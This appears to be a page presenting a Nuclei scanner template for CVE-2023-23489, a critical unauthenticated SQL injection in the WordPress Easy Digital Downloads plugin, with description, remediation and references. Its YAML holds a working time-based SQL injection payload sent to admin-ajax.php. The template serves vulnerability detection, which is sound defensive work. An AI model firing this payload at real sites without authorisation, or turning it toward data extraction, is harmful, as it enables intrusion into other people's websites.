WordPress Easy Digital Downloads 3.1.0.2/3.1.0.3 - SQL Injection

ID: CVE-2023-23489

Severity: critical

Author: theamanrawat

Tags: time-based-sqli,cve,cve2023,easy-digital-downloads,unauth,wpscan,wordpress,wp,wp-plugin,sqli,tenable,sandhillsdev

Description

WordPress Easy Digital Downloads plugin 3.1.0.2 and 3.1.0.3 contains a SQL injection vulnerability in the s parameter of its edd_download_search action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

id: CVE-2023-23489

info:
  name: WordPress Easy Digital Downloads 3.1.0.2/3.1.0.3 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Easy Digital Downloads plugin 3.1.0.2 and 3.1.0.3 contains a SQL injection vulnerability in the s parameter of its edd_download_search action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
  remediation: |
    Update to the latest version of Easy Digital Downloads plugin (3.1.0.4 or higher) to mitigate the SQL Injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/c5a6830c-6420-42fc-b20c-8e20224d6f18
    - https://wordpress.org/plugins/easy-digital-downloads/
    - https://www.tenable.com/security/research/tra-2023-2
    - https://nvd.nist.gov/vuln/detail/CVE-2023-23489
    - https://github.com/JoshuaMart/JoshuaMart
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-23489
    cwe-id: CWE-89
    epss-score: 0.11793
    epss-percentile: 0.95309
    cpe: cpe:2.3:a:sandhillsdev:easy_digital_downloads:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: sandhillsdev
    product: easy_digital_downloads
    framework: wordpress
  tags: time-based-sqli,cve,cve2023,easy-digital-downloads,unauth,wpscan,wordpress,wp,wp-plugin,sqli,tenable,sandhillsdev

http:
  - raw:
      - |
        @timeout: 10s
        GET /wp-admin/admin-ajax.php?action=edd_download_search&s=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/easy-digital-downloads/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration_1>=6'
          - 'status_code_1 == 200'
          - 'contains(body_1, "[]") && contains(body_2, "Easy Digital Downloads")'
        condition: and
# digest: 4a0a0047304502200fb667f5643876b791d73a16b6c9c8b3ca1b9a4f968bced7c5f377f0be9f7cec022100c5f41c8339453caba0526cc2e84743a8d92c7b9e0864dd7a4a57bdf1ecda847b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-23489.yaml"

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